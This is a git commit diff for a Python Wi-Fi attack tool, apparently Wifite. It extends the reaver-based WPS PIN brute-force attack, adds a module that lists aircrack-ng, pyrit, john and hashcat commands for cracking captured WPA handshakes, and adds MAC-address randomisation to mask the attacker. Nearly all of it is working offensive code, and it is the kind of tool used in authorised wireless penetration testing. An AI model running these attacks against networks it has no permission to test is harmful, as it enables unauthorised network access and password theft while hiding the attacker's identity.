# Start reaver process
|
||||
command = [
|
||||
'reaver',
|
||||
'-i', Configuration.interface,
|
||||
'-b', self.target.bssid,
|
||||
'-c', self.target.channel,
|
||||
'-a', # Automatically restart session
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # verbose
|
||||
]
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
@@ -197,18 +212,32 @@ class AttackWPS(Attack):
|
||||
failures = 0
|
||||
state = 'initializing'
|
||||
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=False,
|
||||
output_file_prefix='wps') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
time.sleep(1)
|
||||
percent = 100 * float(pin_current) / float(pin_total)
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {C}WPS PIN attack{W} (')
|
||||
Color.p('{G}%.2f%% done{W}, ' % percent)
|
||||
Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
|
||||
Color.p('{R}%d/%d failures{W}) ' % (failures, \
|
||||
Configuration.wps_fail_threshold))
|
||||
status = '{G}%.2f%% done{W}, ' % percent
|
||||
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
|
||||
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", status)
|
||||
|
||||
if failures >= Configuration.wps_fail_threshold:
|
||||
Color.pl('{R}failed: {O}too many failures{W}')
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
|
||||
Color.pl("")
|
||||
break
|
||||
|
||||
# Get output
|
||||
@@ -273,8 +302,8 @@ class AttackWPS(Attack):
|
||||
state = '{R}rate-limited{W}'
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl(state)
|
||||
Color.pl('{!} {R}hit rate limit, stopping{W}\n')
|
||||
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
|
||||
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
|
||||
|
||||
20
py/Color.py
20
py/Color.py
@@ -21,7 +21,7 @@ class Color(object):
|
||||
# Helper string replacements
|
||||
replacements = {
|
||||
'{+}': ' {W}[{G}+{W}]',
|
||||
'{!}': ' {W}[{R}!{W}]'
|
||||
'{!}': ' {O}[{R}!{O}]{W}'
|
||||
}
|
||||
|
||||
last_sameline_length = 0
|
||||
@@ -74,6 +74,24 @@ class Color(object):
|
||||
sys.stdout.flush()
|
||||
Color.last_sameline_length = 0
|
||||
|
||||
@staticmethod
|
||||
def clear_entire_line():
|
||||
import os
|
||||
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||
Color.p("\r" + (" " * int(columns)) + "\r")
|
||||
|
||||
@staticmethod
|
||||
def pattack(attack_type, target, attack_name, progress):
|
||||
'''
|
||||
Prints a one-liner for an attack
|
||||
Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
|
||||
[name] ESSID (MAC @ Pwr) Attack_Type: Progress
|
||||
e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
|
||||
'''
|
||||
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
|
||||
Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
|
||||
essid, target.bssid, target.power, attack_type, attack_name, progress))
|
||||
|
||||
if __name__ == '__main__':
|
||||
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
|
||||
print Color.s("{C}Testing{P}String{W}")
|
||||
|
||||
@@ -2,11 +2,13 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Color import Color
|
||||
from Macchanger import Macchanger
|
||||
|
||||
import os
|
||||
|
||||
class Configuration(object):
|
||||
''' Stores configuration variables and functions for Wifite. '''
|
||||
verbose = 0
|
||||
|
||||
initialized = False # Flag indicating config has been initialized
|
||||
temp_dir = None # Temporary directory
|
||||
@@ -33,6 +35,7 @@ class Configuration(object):
|
||||
Configuration.target_bssid = None # User-defined AP BSSID
|
||||
Configuration.five_ghz = False # Scan 5Ghz channels
|
||||
Configuration.pillage = False # "All" mode to attack everything
|
||||
Configuration.random_mac = False
|
||||
|
||||
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
|
||||
|
||||
@@ -59,7 +62,8 @@ class Configuration(object):
|
||||
Configuration.wordlist = None
|
||||
wordlists = [
|
||||
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
|
||||
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
|
||||
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
|
||||
'/usr/share/wordlists/fern-wifi/common.txt'
|
||||
]
|
||||
for wlist in wordlists:
|
||||
if os.path.exists(wlist):
|
||||
@@ -82,6 +86,7 @@ class Configuration(object):
|
||||
# Commands
|
||||
Configuration.show_cracked = False
|
||||
Configuration.check_handshake = None
|
||||
Configuration.crack_handshake = False
|
||||
|
||||
# Overwrite config values with arguments (if defined)
|
||||
Configuration.load_from_arguments()
|
||||
@@ -96,6 +101,8 @@ class Configuration(object):
|
||||
# Interface wasn't defined, select it!
|
||||
from Airmon import Airmon
|
||||
Configuration.interface = Airmon.ask()
|
||||
if Configuration.random_mac:
|
||||
Macchanger.random()
|
||||
|
||||
|
||||
@staticmethod
|
||||
@@ -104,6 +111,9 @@ class Configuration(object):
|
||||
from Arguments import Arguments
|
||||
|
||||
args = Arguments(Configuration).args
|
||||
if args.random_mac:
|
||||
Configuration.random_mac = True
|
||||
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
|
||||
if args.channel:
|
||||
Configuration.target_channel = args.channel
|
||||
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
|
||||
@@ -244,6 +254,7 @@ class Configuration(object):
|
||||
# Commands
|
||||
if args.cracked: Configuration.show_cracked = True
|
||||
if args.check_handshake: Configuration.check_handshake = args.check_handshake
|
||||
if args.crack_handshake: Configuration.crack_handshake = True
|
||||
|
||||
|
||||
@staticmethod
|
||||
@@ -276,6 +287,7 @@ class Configuration(object):
|
||||
def exit_gracefully(code=0):
|
||||
''' Deletes temp and exist with the given code '''
|
||||
Configuration.delete_temp()
|
||||
Macchanger.reset_if_changed()
|
||||
from Airmon import Airmon
|
||||
Airmon.stop(Configuration.interface)
|
||||
Airmon.put_interfaces_up()
|
||||
|
||||
90
py/CrackHandshake.py
Normal file
90
py/CrackHandshake.py
Normal file
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Process import Process
|
||||
from Color import Color
|
||||
from Configuration import Configuration
|
||||
from CrackResult import CrackResult
|
||||
from datetime import datetime
|
||||
|
||||
import os
|
||||
|
||||
class CrackHandshake(object):
|
||||
def __init__(self):
|
||||
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
|
||||
|
||||
handshake = self.choose_handshake()
|
||||
self.crack_handshake(handshake)
|
||||
|
||||
def crack_handshake(self, handshake):
|
||||
cap_file = os.path.realpath(handshake["handshake_file"])
|
||||
Color.pl("{+} Different ways to crack {C}%s{W}:" % cap_file)
|
||||
self.print_aircrack(cap_file)
|
||||
self.print_pyrit(cap_file)
|
||||
self.print_john(cap_file)
|
||||
self.print_oclhashcat(cap_file)
|
||||
Color.pl("")
|
||||
# TODO: cowpatty, oclhashcat
|
||||
|
||||
def print_aircrack(self, cap_file):
|
||||
if not Process.exists("aircrack-ng"): return
|
||||
Color.pl("\n {O}# AIRCRACK: CPU-based cracking. Slow.")
|
||||
Color.pl(" {G}aircrack-ng {W}-a 2 -w {C}%s %s{W}" % (self.wordlist, cap_file))
|
||||
|
||||
def print_pyrit(self, cap_file):
|
||||
if not Process.exists("pyrit"): return
|
||||
Color.pl("\n {O}# PYRIT: GPU-based cracking. Fast.")
|
||||
Color.pl(" {G}pyrit {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (self.wordlist, cap_file))
|
||||
|
||||
def print_john(self, cap_file):
|
||||
if not Process.exists("pyrit"): return
|
||||
Color.pl("\n {O}# JOHN: CPU or GPU-based cracking. Fast.")
|
||||
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
|
||||
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
|
||||
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
|
||||
Color.pl(" {G}hccap2john {W}hccap.hccap > hccap.john{W}")
|
||||
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
|
||||
|
||||
def print_oclhashcat(self, cap_file):
|
||||
if not Process.exists("hashcat"): return
|
||||
Color.pl("\n {O}# OCLHASHCAT: GPU-based cracking. Fast.")
|
||||
# TODO: Generate hccapx automatically
|
||||
hccapx_file = "generated.hccapx" #cap_file
|
||||
Color.pl(" {O}# Visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
|
||||
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (self.wordlist, hccapx_file))
|
||||
|
||||
def choose_handshake(self):
|
||||
Color.pl("\n{+} Listing captured handshakes...\n")
|
||||
handshakes = CrackResult.load_all()
|
||||
handshakes = [hs for hs in handshakes if "handshake_file" in hs and os.path.exists(hs["handshake_file"])]
|
||||
if len(handshakes) == 0:
|
||||
raise Exception("No handshakes found in %s" % os.path.realpath(CrackResult.cracked_file))
|
||||
|
||||
# Handshakes Header
|
||||
max_essid_len = max([len(hs["essid"]) for hs in handshakes])
|
||||
Color.p(" NUM")
|
||||
Color.p(" " + "ESSID".ljust(max_essid_len))
|
||||
Color.p(" " + "BSSID".ljust(17))
|
||||
Color.p(" DATE CAPTURED\n")
|
||||
Color.p(" ---")
|
||||
Color.p(" " + ("-" * max_essid_len))
|
||||
Color.p(" " + ("-" * 17))
|
||||
Color.p(" " + ("-" * 19) + "\n")
|
||||
# Print all handshakes
|
||||
for index, hs in enumerate(handshakes):
|
||||
bssid = hs["bssid"]
|
||||
essid = hs["essid"]
|
||||
date = datetime.strftime(datetime.fromtimestamp(hs["date"]), "%Y-%m-%dT%H:%M:%S")
|
||||
Color.p(" {G}%s{W}" % str(index + 1).rjust(3))
|
||||
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len))
|
||||
Color.p(" {C}%s{W}" % bssid)
|
||||
Color.p(" {C}%s{W}\n" % date)
|
||||
# Get number from user
|
||||
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
|
||||
if not hs_index.isdigit():
|
||||
raise Exception("Invalid input: %s" % hs_index)
|
||||
hs_index = int(hs_index)
|
||||
if hs_index < 1 or hs_index > len(handshakes):
|
||||
raise Exception("Handshake num must be between 1 and %d" % len(handshakes))
|
||||
|
||||
return handshakes[hs_index - 1]
|
||||
@@ -41,6 +41,13 @@ class CrackResult(object):
|
||||
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
|
||||
% (name, len(json)))
|
||||
|
||||
@classmethod
|
||||
def load_all(cls):
|
||||
if not os.path.exists(cls.cracked_file): return []
|
||||
with open(cls.cracked_file, "r") as json_file:
|
||||
json = loads(json_file.read())
|
||||
return json
|
||||
|
||||
@staticmethod
|
||||
def load(json):
|
||||
''' Returns an instance of the appropriate object given a json instance '''
|
||||
|
||||
@@ -90,22 +90,24 @@ class Handshake(object):
|
||||
cmd = [
|
||||
'tshark',
|
||||
'-r', self.capfile,
|
||||
'-R', 'wlan.fc.type_subtype == 0x08',
|
||||
'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05',
|
||||
'-2', # tshark: -R without -2 is deprecated.
|
||||
'-n'
|
||||
]
|
||||
proc = Process(cmd, devnull=False)
|
||||
for line in proc.stdout().split('\n'):
|
||||
# Extract src, dst, and essid
|
||||
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
|
||||
match = re.search('(%s) -> (%s).*.*SSID=(.*)$'
|
||||
match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$'
|
||||
% (mac_regex, mac_regex), line)
|
||||
if match == None:
|
||||
# Line doesn't contain src, dst, ssid
|
||||
continue
|
||||
(src, dst, essid) = match.groups()
|
||||
if dst.lower() == "ff:ff:ff:ff:ff:ff": continue
|
||||
if self.bssid:
|
||||
# We know the BSSID, only return the ESSID for this BSSID.
|
||||
if self.bssid.lower() == src.lower():
|
||||
if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower():
|
||||
essids.add((src, essid))
|
||||
else:
|
||||
# We do not know BSSID, add it.
|
||||
@@ -263,7 +265,7 @@ class Handshake(object):
|
||||
hit_Target = False
|
||||
else:
|
||||
# Line does not contain AccessPoint
|
||||
if hit_target and ', good,' in line:
|
||||
if hit_target and ', good' in line:
|
||||
bssid_essid_pairs.add( (current_bssid, current_essid) )
|
||||
return [x for x in bssid_essid_pairs]
|
||||
|
||||
|
||||
@@ -90,7 +90,7 @@ class Interface(object):
|
||||
|
||||
output = Process(['ifconfig', iface]).stdout()
|
||||
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
|
||||
match = re.search('HWaddr (%s)' % mac_regex, output)
|
||||
match = re.search(' (%s)' % mac_regex, output)
|
||||
if not match:
|
||||
match = re.search('unspec (%s)' % mac_regex, output)
|
||||
if not match:
|
||||
|
||||
82
py/Macchanger.py
Normal file
82
py/Macchanger.py
Normal file
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Interface import Interface
|
||||
from Color import Color
|
||||
|
||||
class Macchanger(object):
|
||||
is_init = False
|
||||
is_changed = False
|
||||
original_mac = None
|
||||
|
||||
@classmethod
|
||||
def init(cls):
|
||||
if cls.is_init: return
|
||||
from Configuration import Configuration
|
||||
iface = Configuration.interface
|
||||
if type(iface) == Interface:
|
||||
iface = iface.name
|
||||
cls.original_mac = Interface.get_mac(iface)
|
||||
|
||||
@classmethod
|
||||
def down_macch_up(cls, macch_option):
|
||||
cls.init()
|
||||
from Process import Process
|
||||
from Configuration import Configuration
|
||||
iface = Configuration.interface
|
||||
|
||||
cmd = ["ifconfig", iface, "down"]
|
||||
Color.clear_entire_line()
|
||||
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
|
||||
ifdown = Process(cmd)
|
||||
ifdown.wait()
|
||||
if ifdown.poll() != 0:
|
||||
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
|
||||
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
|
||||
return False
|
||||
|
||||
cmd = ["macchanger", macch_option, iface]
|
||||
Color.clear_entire_line()
|
||||
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
|
||||
macch = Process(cmd)
|
||||
macch.wait()
|
||||
if macch.poll() != 0:
|
||||
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
|
||||
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
|
||||
return False
|
||||
|
||||
cmd = ["ifconfig", iface, "up"]
|
||||
Color.clear_entire_line()
|
||||
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
|
||||
ifup = Process(cmd)
|
||||
ifup.wait()
|
||||
if ifup.poll() != 0:
|
||||
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
|
||||
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
|
||||
return False
|
||||
return True
|
||||
|
||||
@classmethod
|
||||
def reset(cls):
|
||||
# --permanent to reset to permanent MAC address
|
||||
if not cls.down_macch_up("-p"): return
|
||||
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
|
||||
from Configuration import Configuration
|
||||
new_mac = Interface.get_mac(Configuration.interface)
|
||||
Color.clear_entire_line()
|
||||
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
|
||||
|
||||
@classmethod
|
||||
def random(cls):
|
||||
# Use --permanent to use random MAC address
|
||||
if not cls.down_macch_up("-r"): return
|
||||
cls.is_changed = True
|
||||
from Configuration import Configuration
|
||||
new_mac = Interface.get_mac(Configuration.interface)
|
||||
Color.clear_entire_line()
|
||||
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
|
||||
|
||||
@classmethod
|
||||
def reset_if_changed(cls):
|
||||
if not cls.is_changed: return
|
||||
cls.reset()
|
||||
@@ -23,6 +23,7 @@ class Scanner(object):
|
||||
self.targets = []
|
||||
self.target = None # Specific target (based on ESSID/BSSID)
|
||||
|
||||
Color.pl("")
|
||||
# Loads airodump with interface/channel/etc from Configuration
|
||||
with Airodump() as airodump:
|
||||
try:
|
||||
@@ -48,11 +49,20 @@ class Scanner(object):
|
||||
client_count = sum(
|
||||
[len(t.clients)
|
||||
for t in self.targets])
|
||||
Color.p(
|
||||
'\r{+} scanning, found' +
|
||||
' {G}%d{W} target(s),' % target_count +
|
||||
' {G}%d{W} clients.' % client_count +
|
||||
' {O}Ctrl+C{W} when ready')
|
||||
outline = "\r{+} Scanning"
|
||||
if airodump.decloaking:
|
||||
outline += " & decloaking"
|
||||
outline += ". Found"
|
||||
outline += " {G}%d{W} target(s)," % target_count
|
||||
outline += " {G}%d{W} client(s)." % client_count
|
||||
outline += " {O}Ctrl+C{W} when ready "
|
||||
decloaked = airodump.decloaked_targets
|
||||
if len(decloaked) > 0:
|
||||
outline += "(decloaked"
|
||||
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
|
||||
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
|
||||
Color.clear_entire_line()
|
||||
Color.p(outline)
|
||||
sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
@@ -117,6 +127,7 @@ class Scanner(object):
|
||||
Target.print_header()
|
||||
for (index, target) in enumerate(self.targets):
|
||||
index += 1
|
||||
Color.clear_entire_line()
|
||||
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
|
||||
|
||||
@staticmethod
|
||||
@@ -125,6 +136,12 @@ class Scanner(object):
|
||||
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||
return int(rows)
|
||||
|
||||
@staticmethod
|
||||
def get_terminal_width():
|
||||
import os
|
||||
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||
return int(columns)
|
||||
|
||||
def select_targets(self):
|
||||
''' Asks user to select target(s) '''
|
||||
|
||||
@@ -138,6 +155,7 @@ class Scanner(object):
|
||||
+ " or you may have issues with your wifi card")
|
||||
|
||||
self.print_targets()
|
||||
Color.clear_entire_line()
|
||||
input_str = '{+} select target(s)'
|
||||
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
||||
input_str += ' separated by commas, dashes'
|
||||
|
||||
@@ -103,10 +103,12 @@ class Target(object):
|
||||
power = Color.s('{%s}%s' % (color, power))
|
||||
|
||||
wps = Color.s('{O} n/a')
|
||||
if self.wps:
|
||||
if self.wps == True:
|
||||
wps = Color.s('{G} yes')
|
||||
else:
|
||||
elif self.wps == False:
|
||||
wps = Color.s('{R} no')
|
||||
else:
|
||||
wps = Color.s('{O} n/a')
|
||||
|
||||
clients = ' '
|
||||
if len(self.clients) == 1:
|
||||
|
||||
23
py/Wash.py
23
py/Wash.py
@@ -2,9 +2,11 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Process import Process
|
||||
import re
|
||||
|
||||
class Wash(object):
|
||||
''' Wrapper for Wash program. '''
|
||||
BSSID_REGEX = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
@@ -30,24 +32,17 @@ class Wash(object):
|
||||
|
||||
command = [
|
||||
'wash',
|
||||
'-f', capfile, # Path to cap file
|
||||
'-C' # Ignore Frame Check Sum errors
|
||||
'-f', capfile # Path to cap file
|
||||
]
|
||||
p = Process(command)
|
||||
for line in p.stdout().split('\n'):
|
||||
# Ignore irrelevant lines
|
||||
if line.strip() == '' or line.startswith('Scanning for'):
|
||||
continue
|
||||
bssid = line.split(' ')[0]
|
||||
for t in targets:
|
||||
if t.bssid.lower() == bssid.lower():
|
||||
# Update the WPS flag
|
||||
t.wps = True
|
||||
|
||||
# Mark other targets as "no" wps support
|
||||
p.wait()
|
||||
if p.poll() != 0:
|
||||
return
|
||||
|
||||
bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())]
|
||||
for t in targets:
|
||||
if t.wps: continue
|
||||
t.wps = False
|
||||
t.wps = t.bssid.upper() in bssids
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
import sys
|
||||
sys.path.insert(0, '..')
|
||||
|
||||
from Handshake import Handshake
|
||||
from py.Handshake import Handshake
|
||||
|
||||
import unittest
|
||||
|
||||
@@ -20,7 +20,6 @@ class TestHandshake(unittest.TestCase):
|
||||
|
||||
def testAnalyze(self):
|
||||
hs_file = self.getFile('handshake_exists.cap')
|
||||
print hs_file
|
||||
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
|
||||
try:
|
||||
hs.analyze()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Airodump import Airodump
|
||||
from py.Airodump import Airodump
|
||||
|
||||
import unittest
|
||||
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
#!/bin/sh
|
||||
python2.7 -m unittest discover py
|
||||
python2.7 -m unittest discover py/tests -v
|
||||
|
||||
Reference in New Issue
Block a user